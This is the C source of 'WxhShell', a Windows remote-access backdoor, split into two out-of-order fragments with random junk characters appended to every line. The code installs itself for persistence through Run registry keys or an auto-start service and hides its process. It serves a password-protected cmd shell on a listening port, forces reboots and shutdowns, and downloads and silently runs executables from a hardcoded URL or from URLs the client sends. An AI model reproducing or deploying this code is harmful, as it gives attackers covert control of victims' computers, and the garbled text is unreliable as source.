    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %B;e 7 UJ  
    if(Boot(SHUTDOWN)) [c{/0*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }s0?RH  
    else { v|VfSLZTb  
    closesocket(wsh); x B%Felz  
    ExitThread(0); Rh:@@4<  
    } B%|cp+/  
    break; 8T}Ycm5}  
    } M.h)]S>  
  // 获取shell [sM~B  
  case 's': { qre.^6x  
    CmdShell(wsh); H;&^A5  
    closesocket(wsh); > xc7Hr~  
    ExitThread(0); _N.N?>  
    break; 0st)/\  
  } ( TQx3DGq  
  // 退出 **zh>Y}6  
  case 'x': { (c{<JYEC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %E!^SF?Y  
    CloseIt(wsh); tkN5 |95  
    break; {}vB# !  
    } r9x.c7=O  
  // 离开 :3,aR\  
  case 'q': { 0a#2 Lo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]cz*k/*0  
    closesocket(wsh); fvW7a8k3  
    WSACleanup(); gtcU'4~  
    exit(1); `%8byy@$  
    break; 7~t,Pt)  
        } FfDe&/,/  
  } *AO^oBeY  
  } sCX 8  
rA/jNX@S  
  // 提示信息 |@}Yady@C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ha U6`IP  
} ur'a{BI2R  
  } '>GZB  
L_>j SP  
  return; XQ+KI:g2  
} .?gpI Zv  
' (JSU   
// shell模块句柄 MjO.s+I  
int CmdShell(SOCKET sock) rtl|zCst  
{ PMDx5-{A/t  
STARTUPINFO si; ]F,mj-?4x  
ZeroMemory(&si,sizeof(si)); !'4HUB>+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?m)3n0Uh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R7/"ye:7J  
PROCESS_INFORMATION ProcessInfo; f0 ;Fokt(  
char cmdline[]="cmd"; yQ33JQr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rt\i@}  
  return 0; A4}6hG#  
} gAy,uP~,  
K_@[%  
// 自身启动模式 6cCC+*V{  
int StartFromService(void) YTiXU Oj  
{ bt=%DMTn  
typedef struct hf2Q;n&V  
{ vJX3fE }F  
  DWORD ExitStatus; x Z 3b)j2D  
  DWORD PebBaseAddress; %p5%Fs`sd  
  DWORD AffinityMask; mk)F3[ ke  
  DWORD BasePriority; %UquF  
  ULONG UniqueProcessId; ail%#E8  
  ULONG InheritedFromUniqueProcessId; &dqC =oK]  
}   PROCESS_BASIC_INFORMATION; 82w='~y  
99'e)[\  
PROCNTQSIP NtQueryInformationProcess; 29]T:I1d[  
H /E.R[\+x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F`l r5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F,Ls1  
!n<vN@V*3d  
  HANDLE             hProcess; %R%e0|a  
  PROCESS_BASIC_INFORMATION pbi; 8pc=Oor2Tv  
MGH(= w1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _z:7Dj#  
  if(NULL == hInst ) return 0; p[E}:kak_-  
-Y#YwBy;M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LY}9$1G]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g\ r%A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b)+;#m  
s~ZLnEb  
  if (!NtQueryInformationProcess) return 0; `QH-VR\_  
NaeG2>1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x|#R$^4CY  
  if(!hProcess) return 0; JXG%Cx!2}  
oDY $F%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d ] J5c  
y{>d&M|  
  CloseHandle(hProcess); 5iE-$,7#L  
&|;XLRHP}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3h:"-{MW.  
if(hProcess==NULL) return 0; 0dv# [  
xPFNH`O&  
HMODULE hMod; OH2Xxr[bQ  
char procName[255]; 9,7IsT8  
unsigned long cbNeeded; ; ^waUJ\Z  
3)jFv7LAU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Te%2(w,B  
:'*;>P .(  
  CloseHandle(hProcess); sdk%~RN0T  
[TUy><Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Hw 7   
),9^hJ1+@  
  return 0; // 注册表启动 9#K,@X5 j  
} w +QXSa_D  
^_6.*Mvx  
// 主模块 sEpY&6*  
int StartWxhshell(LPSTR lpCmdLine) Eiqx1ZM  
{ OhC%5=a7  
  SOCKET wsl; ]L/h,bVI1  
BOOL val=TRUE; "MH_hzbBF  
  int port=0; H Aq  
  struct sockaddr_in door; E$B7E@(U  
[ML%u$-  
  if(wscfg.ws_autoins) Install(); oBfh1/< <a  
\-X Qo  
port=atoi(lpCmdLine); 1SddZ5  
MeD}S@H  
if(port<=0) port=wscfg.ws_port; ?P<8Zw  
8UH c,np  
  WSADATA data; QU4/hS;Ux  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cg16|  
 T06BrX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3q{op9_T7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [)K?e!c8  
  door.sin_family = AF_INET; El3Y1g3+3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \k?Fu=@  
  door.sin_port = htons(port); 5F#Q1gP-  
BCH{0w^D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }.j<kmd  
closesocket(wsl); tO0MYEx"  
return 1; A 9 I5  
} @'go?E)f  
99GzhX_  
  if(listen(wsl,2) == INVALID_SOCKET) { gXrPZ|iS  
closesocket(wsl); r_m*$r~f  
return 1; -0Ws3  
} Mf 7 Z5  
  Wxhshell(wsl); ={HYwP;  
  WSACleanup(); <1r#hFUUL  
_!vxX ]  
return 0; uVnbOqR<X  
 y5"b(nb  
} d D%Sbb  
j2@19YXe@  
// 以NT服务方式启动 /Y NV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @|3PV  
{ woQ UrO(  
DWORD   status = 0; 1N8:,bpsT  
  DWORD   specificError = 0xfffffff; dvPK5+0W?  
"x;|li3;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K)e;*D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {#-I;I:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qfRsp rRI"  
  serviceStatus.dwWin32ExitCode     = 0; 2)_Zz~P^f  
  serviceStatus.dwServiceSpecificExitCode = 0; IP#w  
  serviceStatus.dwCheckPoint       = 0; BZ2frG\0&I  
  serviceStatus.dwWaitHint       = 0; 0rnne L  
Z/ Vb_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Me*woCos'  
  if (hServiceStatusHandle==0) return; ~"eQPTd  
XsOz {?G  
status = GetLastError(); d7g3VF<j  
  if (status!=NO_ERROR) %E1_)^ ^  
{ \FE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $mH'%YDIl  
    serviceStatus.dwCheckPoint       = 0; E5>y?N  
    serviceStatus.dwWaitHint       = 0; ],!7S"{97  
    serviceStatus.dwWin32ExitCode     = status; w;e42.\  
    serviceStatus.dwServiceSpecificExitCode = specificError; e}F1ZJz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =g]Ln)jc  
    return; R 4= ~  
  } Z@Tb3N/[  
p#k>BHgnF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gb_r <j:w  
  serviceStatus.dwCheckPoint       = 0; @;^7kt  
  serviceStatus.dwWaitHint       = 0; UW!*=?h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lWiC$  
} zO@7V>2  
.ty^k@J|]  
// 处理NT服务事件,比如:启动、停止 U};~ff+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mg7nv\6  
{ F. N4Q'2Z  
switch(fdwControl) ZvQ~K(3  
{ 8y9`xRy  
case SERVICE_CONTROL_STOP: Cob<N'.  
  serviceStatus.dwWin32ExitCode = 0; #b^x!lR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e!eUgD  
  serviceStatus.dwCheckPoint   = 0; d]fo>[%Xr  
  serviceStatus.dwWaitHint     = 0;  Sj,>O:p  
  { HU~,_m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ap 5D6y+  
  } .}xF2'~E/  
  return; JPs R7f  
case SERVICE_CONTROL_PAUSE: IJ#G/<ZJZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _^Ds[VAgA  
  break; (] Zyk, [  
case SERVICE_CONTROL_CONTINUE: { \r1A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0=WZ 8|R  
  break; Q!%C:b  
case SERVICE_CONTROL_INTERROGATE: {c#{dT  
  break; 8!{;yz  
}; 5.]eF$x2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e9F\U   
} |i/Iv  
|I0O|Zdv  
// 标准应用程序主函数 q?9x0L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RV%aFI )  
{ :!fP~(R'm  
49e~/YY  
// 获取操作系统版本 _0razNk  
OsIsNt=GetOsVer(); o%~PWA*Qp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nt>wzPd)  
sKIpL(_I$  
  // 从命令行安装 7KB:wsz^  
  if(strpbrk(lpCmdLine,"iI")) Install(); -5&|"YYjr{  
1@i 8ASL  
  // 下载执行文件 U\<8}+x  
if(wscfg.ws_downexe) { &EZq%Sd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W7sx/O9  
  WinExec(wscfg.ws_filenam,SW_HIDE); +"~~; J$  
} }3}{}w0Y  
}mhD2'E  
if(!OsIsNt) { 4R;6u[ a]u  
// 如果时win9x,隐藏进程并且设置为注册表启动 |afzW=8'  
HideProc(); "Z\^dR  
StartWxhshell(lpCmdLine); w^rINPAS  
} h 8ND=(  
else !BQ:R(w  
  if(StartFromService()) )/B' ODa  
  // 以服务方式启动 ljS~>&  
  StartServiceCtrlDispatcher(DispatchTable); o<J_?7c~}  
else |= xK-;qs  
  // 普通方式启动 g_T[m*  
  StartWxhshell(lpCmdLine); tB,1+I=   
t%B ,ATW  
return 0; yv2&K=rZp  
} [6$n  
Ah|,`0dw  
r X^wNH  
xn=/SIS  
=========================================== 9=-d/y?  
2X= pu. ;F  
SccaX P  
[|:kS  
*j`{ K  
@~Uu]1  
" qMHI-h_A  
X AnN<  
#include <stdio.h> #RyX}t X,  
#include <string.h> gGtl*9a=  
#include <windows.h> ]V`L\  
#include <winsock2.h> 52zD!(   
#include <winsvc.h> nw)yK%`;M  
#include <urlmon.h> U}=o3u  
;q3"XLV(T[  
#pragma comment (lib, "Ws2_32.lib") P:p@Iep  
#pragma comment (lib, "urlmon.lib") &4m\``//9  
pyf/%9R:d  
#define MAX_USER   100 // 最大客户端连接数 |z5`h  
#define BUF_SOCK   200 // sock buffer O.9r'n4f  
#define KEY_BUFF   255 // 输入 buffer %GY U$aA  
U|NVDuo{{x  
#define REBOOT     0   // 重启 M?3N h;  
#define SHUTDOWN   1   // 关机 >~D-\,d|f  
(b]r_|'  
#define DEF_PORT   5000 // 监听端口 p>O>^R  
| M|5Nc>W  
#define REG_LEN     16   // 注册表键长度 AJ:(NV1=  
#define SVC_LEN     80   // NT服务名长度 1pM"j!  
WZ3GI l  
// 从dll定义API A<+veqb4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }H>}v/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h VQj$TA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \?|FB~.Ry  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sXpA^pT"T  
65~X!90k  
// wxhshell配置信息 >7fNxQ  
struct WSCFG { ~0^d-,ZD5  
  int ws_port;         // 监听端口 U)3*7D  
  char ws_passstr[REG_LEN]; // 口令 ly8IrgtKy  
  int ws_autoins;       // 安装标记, 1=yes 0=no }kCaTI?@#  
  char ws_regname[REG_LEN]; // 注册表键名 :M |<c9I  
  char ws_svcname[REG_LEN]; // 服务名 =:5o"g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q`ALyp,9b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p1O[QQ|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7a<-}>sU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HqZ3]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q#mw#Uw-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )[c@5zy~*  
t& *K  
}; kt0ma/QpP  
:B(vk3;U!  
// default Wxhshell configuration \'BA}v &/  
struct WSCFG wscfg={DEF_PORT, ;:%*h2  
    "xuhuanlingzhe", zFq8xw  
    1, Hl3%+f  
    "Wxhshell", =MsQ=:ZV  
    "Wxhshell", pSzO )j  
            "WxhShell Service", +W8L^Wl  
    "Wrsky Windows CmdShell Service", 74c[m}'S  
    "Please Input Your Password: ", Cd"cU~HAB  
  1, 6^'BhHP  
  "http://www.wrsky.com/wxhshell.exe", &azy1.i~  
  "Wxhshell.exe" Jw b'5[R  
    }; >[D(<b(U&  
 V/8"@C  
// 消息定义模块 DUAI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }1sFddGVt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '&OJ hLE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rZK;=\Ot  
char *msg_ws_ext="\n\rExit."; 4|]0%H~n6  
char *msg_ws_end="\n\rQuit."; [|&V$  
char *msg_ws_boot="\n\rReboot..."; 9c}mAg4  
char *msg_ws_poff="\n\rShutdown..."; a9"1a'  
char *msg_ws_down="\n\rSave to "; >,&@j,?']  
~kJ}Z<e  
char *msg_ws_err="\n\rErr!"; Q, `:RF3  
char *msg_ws_ok="\n\rOK!"; A0@E^bG  
(:spA5  
char ExeFile[MAX_PATH]; p:/#nmC<  
int nUser = 0; &Oxf^x["]  
HANDLE handles[MAX_USER]; 3om_Z/k  
int OsIsNt; ZITic&>W  
^tFbg+.  
SERVICE_STATUS       serviceStatus; qpCNvhi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]m(C}}  
CHojF+e  
// 函数声明 I_k!'zR[N  
int Install(void); 'T7=.Hq<4  
int Uninstall(void); [ljC S  
int DownloadFile(char *sURL, SOCKET wsh); {wNNp't7  
int Boot(int flag); \%! t2=J!  
void HideProc(void); wt(Hk6/B  
int GetOsVer(void); hYI0S7{G  
int Wxhshell(SOCKET wsl); 1e'Ez4*  
void TalkWithClient(void *cs); jk\04k  
int CmdShell(SOCKET sock); NO%x 2dx0  
int StartFromService(void); \mIm}+!H  
int StartWxhshell(LPSTR lpCmdLine); L6ifT`;T  
z^etH/]Sy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xeGl}q|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Wv`^{y <^  
;L{#TC(]J]  
// 数据结构和表定义 EW:tb-%`  
SERVICE_TABLE_ENTRY DispatchTable[] = Wj}PtQ%lp/  
{ V(5=-8k  
{wscfg.ws_svcname, NTServiceMain}, |RA|nu   
{NULL, NULL} &-h z&/A,  
}; cj5; XK  
!gKz=-C  
// 自我安装 R'Uw17I  
int Install(void) eM1=r:jgE  
{ \{RMj"w:  
  char svExeFile[MAX_PATH]; R=ipK63  
  HKEY key; 4L`<xX;:{  
  strcpy(svExeFile,ExeFile); v[*&@aW0n  
}nO[;2Na  
// 如果是win9x系统,修改注册表设为自启动 M#?^uu'  
if(!OsIsNt) { p3L0'rY|+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;G=:>m~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )}[:.Zg,3/  
  RegCloseKey(key); 9td[^EB#(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \GFFPCi4 D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j/Dc';,d.(  
  RegCloseKey(key); p[&6hXTd  
  return 0; M;$LB@h  
    } TA"4yri=7x  
  } kR1dk4I4  
} K@0/iWm*  
else { ,o{|W9  
1yg5d9  
// 如果是NT以上系统,安装为系统服务 l[cBDNlrC;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KBO{ g:"  
if (schSCManager!=0) /ad]pdF  
{ hHoc>S6^M  
  SC_HANDLE schService = CreateService +,H6)'#Z  
  ( )dMXn2O  
  schSCManager, wBbJ \  
  wscfg.ws_svcname, rF*L@HI  
  wscfg.ws_svcdisp, D |lm,  
  SERVICE_ALL_ACCESS, |rhCQ"H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )= :gO`"D  
  SERVICE_AUTO_START, 8!!iwmH{  
  SERVICE_ERROR_NORMAL, M.(shIu!+  
  svExeFile, 5IsRIz[`TK  
  NULL, j&qJK,~  
  NULL, `Qg#`  
  NULL, r{Stsha(  
  NULL, *GMs>" C  
  NULL G=Qslrtg  
  ); i]L4kh5  
  if (schService!=0) G9_M~N%a  
  { <.l$jW]  
  CloseServiceHandle(schService); TX%W-J _  
  CloseServiceHandle(schSCManager); >@T(^=Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uQYBq)p|  
  strcat(svExeFile,wscfg.ws_svcname); bB#6Xx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "\:ZH[j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y unY'xY  
  RegCloseKey(key); ?#cX_  
  return 0; Bv)4YU  
    } w2mLL?P  
  } bktw?{h  
  CloseServiceHandle(schSCManager); tK$x=9M  
} 51Nh"JTy  
} SjZ?keKZ  
S(b5Gj/Kd  
return 1; 3o>.Z;  
} |iJ+e -_R  
!8#!P  
// 自我卸载 POouO/r$  
int Uninstall(void) `B4Px|3  
{ ,Z"l3~0\  
  HKEY key; hny):59f  
oV 7A"8L^a  
if(!OsIsNt) { [)ybPIv]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &7gE=E(M  
  RegDeleteValue(key,wscfg.ws_regname); -A\J:2a|  
  RegCloseKey(key); u\]aUP e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )t/[z3rn  
  RegDeleteValue(key,wscfg.ws_regname); <> &!+|#  
  RegCloseKey(key); YnCWmlC  
  return 0; DW,fh8w  
  } z3lMD'uU3  
} .-0;:>  
} CL U[')H0  
else { ,iUYsY  
}: W6Bo-|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0tzMu#  
if (schSCManager!=0) x!<?/I)X  
{ nKoc%TNqe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d_5wMK6O6  
  if (schService!=0) -bq\2Yc$]  
  { g@ ZZcBx  
  if(DeleteService(schService)!=0) { 'x-PQQ  
  CloseServiceHandle(schService); 1HBdIWhHv.  
  CloseServiceHandle(schSCManager); vT7ei"~&u  
  return 0; I2b\[d  
  } e?&4;  
  CloseServiceHandle(schService); l*l(QvN_  
  } [P*w$Hn  
  CloseServiceHandle(schSCManager); TAbC-T.EV  
} bN#)F    
} I'_.U]An  
(S@H'G"  
return 1; r}gp{Pf7e  
} t-vH\m  
& q(D90w.  
// 从指定url下载文件 lIN`1vX(  
int DownloadFile(char *sURL, SOCKET wsh) zqq$PaH*  
{ xV h-Mx+M  
  HRESULT hr; [}/\W`C  
char seps[]= "/"; -6+&?f  
char *token; nsq7,%5  
char *file; y?|JBf  
char myURL[MAX_PATH]; ={a8=E!;  
char myFILE[MAX_PATH]; @'K+   
e:BKdZGW  
strcpy(myURL,sURL); CPI7&jqu  
  token=strtok(myURL,seps); L;},1 \  
  while(token!=NULL) );$L#XpB  
  { *(~=L%s  
    file=token; uQ;b'6Jcp  
  token=strtok(NULL,seps); <3!jra,h  
  } )32BM+f"77  
iG[an*#X  
GetCurrentDirectory(MAX_PATH,myFILE); JvHGu&Nr!  
strcat(myFILE, "\\"); y`~[R7E  
strcat(myFILE, file); ((U-JeFW   
  send(wsh,myFILE,strlen(myFILE),0); ypuW}H%`  
send(wsh,"...",3,0); $=j}JX}z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A@@Z?t.  
  if(hr==S_OK) | Wrf|%p  
return 0; !/w<F{cl  
else S*o%#ZJN  
return 1; p& > z=Z*  
ak?XE4-N  
} /lQGFLZL  
~PT( /L  
// 系统电源模块 crJyk#_  
int Boot(int flag) OG_2k3v  
{ zl: 5_u=T  
  HANDLE hToken; W*hRYgaX3  
  TOKEN_PRIVILEGES tkp; c%uX+\-$  
`]^JOw5o  
  if(OsIsNt) { eeuTf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %#rH~E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3N) bJ  
    tkp.PrivilegeCount = 1; 3B(6^iS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Og`6>?>97  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zL @ZNH  
if(flag==REBOOT) { pZ/aZg1Ld  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /x6,"M[97  
  return 0; 4Lx#5}P  
} `N~;X~XFk  
else { -Fodqq@,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _u^ S[  
  return 0; )g9&fGYf  
} R4<}kA,.  
  } F6gboo)SD  
  else { \e5bxc  
if(flag==REBOOT) { Ly?gpOqu5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i/nA(%_  
  return 0; AepAlnI@  
} /++CwRz@Gm  
else { -d+q+l>0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qwn/ ,  
  return 0; 2 $^n@<uZ@  
} s%nx8"   
} 8_MR7'C1hi  
y>vr Uxgo  
return 1; (u81p  
} 'AX/?Srd  
-hf)%o$  
// win9x进程隐藏模块 !"2nL%PW~  
void HideProc(void) .kSx>3  
{ @N`) Z3P+  
Y!LcS48X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0xVue[ep  
  if ( hKernel != NULL ) s[ |sfqB1`  
  { 1&~u:RUXe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Sj:U1x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ( w(GJ/g  
    FreeLibrary(hKernel); O|J`M2r  
  } 1!"0fZh9U  
#Al.Itj  
return; he0KzwBF  
} +B$ o8V  
Iaf"j 2B  
// 获取操作系统版本 }vkrWy^  
int GetOsVer(void) |->{NU Z{  
{ oagxTFh8~  
  OSVERSIONINFO winfo; Lrgv:n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PsTPGK#S  
  GetVersionEx(&winfo); +(iM]L$Fw%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >&mlwxqv  
  return 1; cB U,!  
  else iN0gvjZ  
  return 0; @Iz vObK  
} %EYh5 W  
P SDzs\s  
// 客户端句柄模块 C2;qSKG3{m  
int Wxhshell(SOCKET wsl) 0FfBD[E:  
{ 4oT1<n`r+  
  SOCKET wsh; PW"G]G,  
  struct sockaddr_in client; V-U,3=C  
  DWORD myID;  $j*j {}K  
w#w lZ1f  
  while(nUser<MAX_USER) N\?%944R  
{ Y,OSQBgk  
  int nSize=sizeof(client); P g.PD,&U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6LRI~*F=3  
  if(wsh==INVALID_SOCKET) return 1; HDU tLU d  
Ml` f+$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |ahleu  
if(handles[nUser]==0) [#>ji+%=  
  closesocket(wsh); LuQ4TT  
else =.,]}  
  nUser++; >cEc##:5  
  } ]w.:K*_=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [L 0`B9TD~  
c Q~}qE>I  
  return 0; f?T6Ne'  
} h4x*C=?A  
E(A7DXzbR  
// 关闭 socket U7d%*g  
void CloseIt(SOCKET wsh) |e@9YDZ  
{ @O#4duM4Qz  
closesocket(wsh); CZ*c["x2  
nUser--; :1"{0 gm  
ExitThread(0); 8Czy<}S<G  
} gNJ,Bj Pd  
jA R@?X  
// 客户端请求句柄 k;PQVF&E  
void TalkWithClient(void *cs) DQM\Y{y|3  
{ $F-qqkR$  
_IJPZ'Hr  
  SOCKET wsh=(SOCKET)cs; Q6Z%T.1  
  char pwd[SVC_LEN]; w4U]lg<}E  
  char cmd[KEY_BUFF]; 7Wb:^.d g  
char chr[1]; ,Ju f  
int i,j; qepsR/0M  
K2,oP )0.Y  
  while (nUser < MAX_USER) { >|%m#JG  
elCDPZTf  
if(wscfg.ws_passstr) { :Xc%_&)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =s`\W7/;{-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1UX"iO x(  
  //ZeroMemory(pwd,KEY_BUFF); 6%Ap/zvCZ>  
      i=0; ALS\}_8  
  while(i<SVC_LEN) { w(pLU$6X  
|LA./%U  
  // 设置超时 xoI;s}*E  
  fd_set FdRead; ) Q\nR`k  
  struct timeval TimeOut; 2%"2~d7  
  FD_ZERO(&FdRead); }Z*@EWc>  
  FD_SET(wsh,&FdRead); az@{O4  
  TimeOut.tv_sec=8; 0qXd?z$  
  TimeOut.tv_usec=0; !_rAAY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /v"u4Ipj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u9rlNmf$  
_hyboQi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|XIF   
  pwd=chr[0]; I=X-e#HM?  
  if(chr[0]==0xd || chr[0]==0xa) { Wf/Gt\?  
  pwd=0; n5 dFp%k  
  break; preKg $U  
  } Q':xi;?Kt  
  i++; 2C^/;z  
    } laN:H mR8  
7UvfXzDNC  
  // 如果是非法用户,关闭 socket PeGL Rbx34  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <CIJ g*  
} ko\VDyt,  
s@sRdoTdF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k"F5'Od  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IBWUXG;  
s 7re  
while(1) { ^Ts|/+}'i  
MjCD;I:C.  
  ZeroMemory(cmd,KEY_BUFF); uc9t0]o=h  
/,dcr*  
      // 自动支持客户端 telnet标准   @G< J+pm  
  j=0; BYt#aqf  
  while(j<KEY_BUFF) { :iJ+ImBpK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VE5w!of  
  cmd[j]=chr[0]; KCd}N  
  if(chr[0]==0xa || chr[0]==0xd) { 3a #2 }  
  cmd[j]=0; rlr)n\R#  
  break; :&ir5xHS  
  } <4S Y'-w  
  j++; 4hdxqI!y2  
    } T!e ]=  
)$K )`uqb  
  // 下载文件 W]MKc&R  
  if(strstr(cmd,"http://")) {  f.acH]p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); braHWC'VYg  
  if(DownloadFile(cmd,wsh)) aOHf#!/"sb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<WP< !N%  
  else aP^,@RrL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i:W.,w%8  
  } P F#+G;q;  
